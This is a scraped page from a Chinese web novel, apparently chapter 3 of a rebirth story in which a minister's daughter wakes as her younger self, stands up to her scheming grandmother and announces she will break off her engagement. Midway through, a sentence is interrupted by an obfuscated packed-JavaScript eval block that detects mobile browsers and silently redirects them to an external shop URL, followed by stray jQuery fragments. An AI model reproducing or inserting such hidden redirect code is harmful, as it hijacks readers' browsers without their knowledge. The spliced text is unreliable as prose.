文趣网 > 其他小说 > 小姐心善,朕乃恶仆 > 3. 第 3 章
    “近辰时了,小姐怎的还没起,往日姑娘可是从不赖床的。”一人奇道。

    另一人驳了回去,“小姐昨夜读书歇得晚,累极了,让小姐多睡会儿。”

    “我也巴着咱们小姐多休息,可是老夫人那边……”她的声音适时顿住。

    ”不听不听。”

    …

    沈簌听着门外熟悉的声音争执,缓缓睁开眼,入目却一怔,所有思绪霎时停滞。

    身上是柔软的妃色寝被,手边是崭新的月白绫纱帐,床前脚踏铺着一层厚厚的兔毛毡,床后立着一道山水六折屏风,这与她在长青巷的住所截然不同。

    沈簌掀帐下榻,左右是两盏鎏金缠枝灯,正前方放着一张花梨木圆桌,四周嵌螺钿圆凳,净室以熟悉的上好珍珠帘隔出内外。

    她伸手抚过桌子,清晰的冰凉触感落在指尖,沈簌端起茶盏,同样是半凉的、真实的。

    她慢慢地向榻边的妆台走去,果然在铜镜里看到了一张无比熟悉的脸。

    年轻的、十六七岁的沈簌。

    镜中的少女生了双潋滟的桃花眼,嵌着一对宛如琉璃的褐色瞳孔,眼尾下垂,中和了单薄眼皮的锐利,琼鼻樱唇,两颊泛着层极淡的粉色,还带着刚醒来的缱绻懒散。

    未施粉黛已是倾国倾城之貌。

    沈簌伸手抚上这张脸,盯着镜中人一模一样的动作,停滞的思绪重新流转。

    志怪书中不仅记载了七日还魂,还记载了可遁地穿墙者的侏儒,借他人怨气夺舍者、共生于一具身躯的同胞兄妹……

    以及,在种种机缘之下,重生往世的人。

    已死过一次,也见识过人情冷暖。

    沈簌并未产生不合时宜的恐惧,对现在的情况只剩几分讶异,心底深处不自觉冒出一点庆幸。

    上天怜她,予她重活一次么?

    铜炉里的安神香燃尽,少女坐在绑了绒毯的锦墩上,目光落到桌上几卷《南华经》,一颗心彻底宁静。

    最上一卷已被掀开,是这一世的她昨夜读到的地方,上书“方生方死,方死方生,方可方不可,方不可方可……”

    沈簌不自觉地把最后的话念出。

    “因是因非,因非因是。”

    万事万物因果循环,永无穷尽。

    少女阖眸,再睁眼时双目清明,神情坚定。

    她望着镜子里的人,直到彻底与心底的、前世的自己融合毫无缝隙。

    “揽月,逐星。”

    屋外两人闻声入内,吵得面上羞赧。

    沈簌见怪不怪,揽月逐星只是平日里拌嘴,其实感情亲如姊妹,她唇边漾起一抹浅淡的笑。

    美人含笑,满室华光。

    揽月见状更羞,上前替她梳发,遮掩道:“小姐不知何时醒了,竟染上听壁角的恶习。”

    逐星去倒温水浸帕子,频频点头,“小姐可恶呢!”

    沈簌乖乖坐着,眼皮一眨,笑道:“许你们清早吵人清梦,不许我偷听?是何道理。”

    她身后的揽月闻言叹气,“小姐还说呢,如今都辰时了,您还没去松鹤堂请安,老夫人恐怕正怄着气。”

    沈簌接过帕子净面,感到久违的满足。

    逐星大剌剌地开口,“干脆告病不去,省的还要说教咱们家小姐,小姐日日晨昏定省,也未见得松鹤堂那边体谅。”

    沈簌将帕子递给逐星,又从妆匣中随手摸了一支白玉簪,由揽月替她簪在云鬓间。

    两朵并蒂莲栩栩如生,愈发衬得乌发如墨。

    沈簌以往无心装扮,今日额外挑了一副青玉寻梅臂钏戴着,她满意地看了看自己的装束,方才起身。

    “咱们又没做甚么亏心事,为何不去?不仅要去,还要坦坦荡荡地去。”

    她俏皮地笑了笑,表情生动极了,“兵来将挡,水来土掩呀。”

    “是,小姐!”

    自先夫人去世,除了偶尔与顾世子见面,揽月与逐星许久没见到自家小姐这般肆意神态,两侍女也添了底气,喜上眉梢。

    …

    尚书府广阔,三进三出坐北朝南,正院铺着一层青砖,廊柱回环,大气磅礴。

    沈簌住的院子唤作碎芳阁,连廊狭长,月洞门外绕着一圈翠竹,一条小径歪斜着穿过,九曲石桥下锦鲤曳尾,自在快活。

    如今正值四月春,一路上桃花并海棠花连成一片开得正盛,沁人心脾。

    步入松鹤堂,已是另一番景色。

    正堂屋门紧闭,院中仆役看似在忙着手中洒扫活计,实则在这位三小姐初进门时便默契地用余光望着她。

    沈簌姿态挺拔,对周遭一切见怪不怪,她早猜到祖母会给她这样的下马威,就算今日不来,也会被挑到旁的错处。

    在府中,她过得轻松便是最大的罪。

    少女立在阶下,柔和的日光慷慨地洒在她身上,浅褐色的瞳孔里波光闪烁,仿佛水润细腻的琉璃珠。

    “孙女昨日秉烛夜读,误了来给祖母请安的时辰。方醒便匆匆赶来请罪,幸好祖母还未起身,孙女总算赶上了,这颗心才算宁静些。”

    沈簌的声音不卑不亢,站得坦然端正。

    周围的仆役闻言脸上的神色变幻莫测,更有甚者拿着扫把怔在原地,活见了鬼似的看她。

    三小姐长嘴了?居然会找理由辩解?

    揽月逐星并不怕这些,反倒与有荣焉,审视着拜高踩低的仆役,透着跟自家小姐如出一辙的坦荡傲气。

    上次请安迟到还是前些年了,沈簌记得那时正赶上她母亲新丧,府中上下俱白眼待她,老夫人尤甚。

    迟些请安在盛京任何一府中都算不得什么大事,但松鹤堂好容易逮到她一个错处,岂会轻易放过?罚她在雪地里跪了两个时辰,活活冻晕过去。

    她抱着最后一丝希望祈求父亲,可是沈尚书却毫不留情地从她身侧走过,又罚她在祠堂抄经七日,称为“静心养性。”

    前世的沈簌年纪小不经事,唯一待她好的母亲去世后,她在府中愈发孤立无援。

    知晓出头冒尖于自己百害无一利,少女便养成了圆滑温婉的性子,若累一些能得清静,她并不介意。

    只是人性如山,难以更改,她这样步步忍让,得到的却是变本加厉的搓磨和不满。

    是以重获新生,沈簌不会再选择委屈自己走从前的老路,更不会任人摆布。

    她现已及笄,正是适婚年龄。

    尚书府想要保全金玉其外的面子,行事便有掣肘,沈簌两世为人,看尽世态冷暖,早就不在乎这些。

    半刻钟过去,屋内毫无动静。

    沈簌也不拖沓,福身道:“既然祖母还在歇息,孙女不便叨扰,晚些再来拜访祖母。”

    说罢转身欲走。

    “三小姐请留步。”

    木门被推开,露出一张年迈的妇人脸,身着深绯绣金褙子,眼角一片褶皱。

    沈簌缓缓转身,微垂着头,浓密的睫毛遮住眸中一闪而过的轻蔑,温声道:“周嬷嬷,可是我吵醒了祖母?”

    周嬷嬷斜了一眼院中看热闹的仆役,面上强扯笑意,“三小姐说的哪里话?都是一家人,何来吵不吵一说,只是老太太起晚了些,小事罢了。”

    沈簌心底冷哧,嘴上附和道:“嬷嬷说的是。”

    甫一进屋,正对上主座妇人锐利的打量视线。

    妇人端坐红木嵌螺的扶手椅上,穿了件松绿团福纹锦裙,鬓插金累丝镶玉扁钗,头戴金钿玛瑙素抹额,通身金玉,一副贵妇人派头。

    她与沈簌五官虽无相似之处,但生了双柳叶眼,保养得宜,能辨出年轻时是个美人。

    沈老夫人审视着沈簌。

    她崇尚佛法,连带着住的屋子里都单独辟出一间礼佛室,入目所见尽是檀木家具,一派静寂肃穆,此时无声更显得压抑。

    沈簌福身行礼,“孙女给祖母请安。”

    妇人冷哼一声,语气敷衍,伪装

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679864|207644||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    都不屑。

    “你心里倒还有我这老妇么?三丫头如今口齿伶俐,要将我们这些老人活活噎死过去。”

    沈簌站直身子,平视面前鬓发灰白的妇人,神态沉静,适时露出一丝疑惑。

    “祖母何出此言?”

    “酷暑寒冬,天上下刀子,地上烧火盆,孙女都日日来松鹤堂请安,为的便是求祖母安心,哪里会有如此大逆不道之想法。”

    “祖母如此剖白,当真寒了孙女的心。”

    沈簌话说得客套,将自己的姿态摆得极低,偏偏眼平身正,大有一副真正有理,只是不屑争抢的模样。

    沈老夫人闻言眼角抖动,正要发作脾气。

    一旁周嬷嬷赶上前打圆场,端过茶,引着沈簌坐下。

    “可怜天下父母心,老太太同三姑娘更是隔辈的亲,三姑娘何苦说这样的话,平白叫老太太伤心。”

    周嬷嬷将青瓷茶盏推到沈簌面前,又朝沈老夫人使了个眼神,含笑道:“原只是一桩请安的小事,如今姑娘大了,咱们老太太也该收些手。”

    一棍子看似公平地砸下来,其实话里话外还是将错都推到了沈簌身上,责备她不懂事。

    沈簌懒得逞嘴上功夫,今日来能给这位盛气凌人的祖母添点气,她的目的已然达成。

    “是簌儿未体谅祖母难处。”

    沈老夫人端起茶,拂开茶沫,呵了一声道:“我忘了,三丫头年岁渐长,婚嫁之事也该说一说了。”

    沈簌心中一怔,又听到她接着说。

    “若放在江南,十七岁的女子还没出嫁或是常有的事,可在盛京,再拖久了便算桩丑事,哪能跟小地方的习俗比?”

    沈簌母亲是兰陵籍贯,从前便因出身颇受老太太微词,现在连着沈簌也不满。

    沈老夫人见她不语,以为自己说中,侃侃而谈。

    “你也莫觉得我们做长辈的唠叨!你父亲事务繁杂,顾不得你,这一大家子若不是我这做祖母的操心,你一个小辈能懂得什么?”

    “我前些日子听御史府的王老夫人漏风,说是北疆战事已安定许多,唯有朔州的突厥鞑子闹的厉害了些,别的地方哪有那么多战乱?”

    沈簌一言不发,印象里的所有事逐渐清晰。

    沈老夫人瞄她一眼,得到了周嬷嬷肯定的眼神后,继续说道:“顾世子年已十八,你们正是好年纪,还要拖到何时去!你便听祖母的,给他送封信去,叫他速速回京成婚,哪有叫姑娘家一直等着的道理?!”

    沈老夫人说的义正严辞,慷慨凛然。

    若不是沈簌知道这事情的前因后果,恐怕正要如前世一般被她这番难得的示好蒙蔽,照老太太说的去做。

    最后非但没将顾徴催回来,反而落得他一路埋怨,责怪她一介高门闺秀,丝毫不识大体、不顾全大局。

    沈簌端起茶,不急不忙地啜饮一口,润了润嗓子,才抬头望向沈老夫人急切的目光。

    “前线吃紧,战局尚不明朗,祖母却叫我修书一封送予顾徴,岂不火上浇油?祖母既要个日子,何不去寻顾伯伯,叫他拿主意。”

    于年纪,沈老夫人算常平侯的长辈;只可惜常平侯是朝中有名的直臣,性子刚正不阿,在盛京城素有“铁面”之称。

    “铁面”眼里不分男女老幼,只有合不合适、正不正确。在这位忠臣眼中,自己的独子在前线英勇作战,自然是对。

    沈老夫人高嫁给当初的沈老太爷,本就外厉内荏,沈老太爷去世后,她又习惯在儿子儿媳一众小辈面前拖大,真让她去外面充架子,那点胆量还不够看。

    只好扯谎哄着沈簌,叫她露头冒尖,作这里外不讨好的事,千算万算没拿捏住小孙女,反倒被将一军。

    沈老夫人没忍住怒意,将手边名贵的青瓷茶盏拂落在地,“不肖女!”

    “我也可以写。”

    沈簌顶着那道敌视的视线起身,字句坚定,“写一封退婚书,送给北疆青州顾世子。”